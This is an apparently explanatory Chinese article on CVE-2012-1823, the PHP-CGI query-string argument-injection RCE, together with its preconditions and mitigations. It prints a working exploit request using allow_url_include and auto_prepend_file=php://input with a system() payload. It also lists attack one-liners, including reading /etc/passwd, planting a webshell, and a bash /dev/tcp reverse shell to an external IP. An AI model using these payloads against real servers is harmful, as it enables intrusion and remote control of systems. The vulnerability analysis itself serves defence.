CVE-2012-1823是PHP-CGI在CGI模式下因未隔离用户可控querystring导致的远程代码执行漏洞;依据RFC3875,当QUERY_STRING不含未解码“=”时,Apache等服务器将其作为命令行参数传给php-cgi,而php-cgi直接解析执行-d、-s等参数,从而实现源码泄露或任意命令执行。

CVE-2012-1823 在 PHP 5.4.1 + php-cgi 模式下可直接触发远程代码执行(RCE),无需登录、无需文件上传、无需任何前置条件。
为什么 php-cgi 参数解析会变成命令行执行入口
RFC3875 明确规定:当 QUERY_STRING 中不含未解码的 = 字符时,Web 服务器(如 Apache)必须将整个 querystring 作为命令行参数传给 CGI 程序。PHP 的 php-cgi SAPI 实现了该逻辑,但没做足够隔离——它把用户可控的 querystring 当作真实 CLI 参数去解析。
这意味着请求:
GET /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
会被 Apache 交给 php-cgi 进程,等效于在终端执行:
立即学习“PHP免费学习笔记(深入)”;
php-cgi -d allow_url_include=on -d auto_prepend_file=php://input
后续 POST 的原始 body(比如 <?php system('id'); ?>)就会被当作 PHP 代码执行。
实际能干些什么(不是理论,是已复现行为)
- 直接执行任意系统命令,如
system('cat /etc/passwd')或shell_exec('whoami') - 读取任意文件(配合
php://filter协议),例如泄露/var/www/html/config.php - 写入 WebShell 到网站目录(用
file_put_contents+php://input或data://协议) - 反弹 shell 到攻击者机器(
exec('bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'))
容易被忽略的关键限制和误判点
这个漏洞只在特定运行模式下生效,不是所有 PHP 5.4.1 都中招:
- 必须是
php-cgi以 纯 CGI 模式 运行(非 FastCGI,非 php-fpm,非 mod_php) - Apache 必须启用
mod_cgi并将.php文件映射到php-cgi可执行文件(常见于老旧 XAMPP、手动配置的 cgi-bin) - 不能靠
phpinfo()页面判断——要看进程名是否为php-cgi且无-b(bind)参数 - 现代 Nginx + php-fpm 架构、或 Apache + mod_php 架构完全不受影响
修复不是“升级到新版 PHP”那么简单
PHP 官方早在 5.3.12 / 5.4.2 就修复了该漏洞,但很多生产环境仍卡在 5.4.1 是因为:
- 业务依赖老旧扩展(如 eAccelerator),无法兼容更高版本
- 运维人员误以为“只是个测试环境”,未关闭 CGI 模块
- 防火墙放行了 80/443,却没封掉对
/cgi-bin/php-cgi或类似路径的直接访问
最稳妥的临时缓解方式是:在 Apache 配置中彻底禁用 mod_cgi,或用 LocationMatch 拦截所有含 -d、-c、-n 的 querystring 请求——别指望 WAF 规则能全覆盖,Windows 下的 Best-Fit 编码绕过(如 %ad 替代 -)在 CVE-2024-4577 中已证明规则极易失效。



















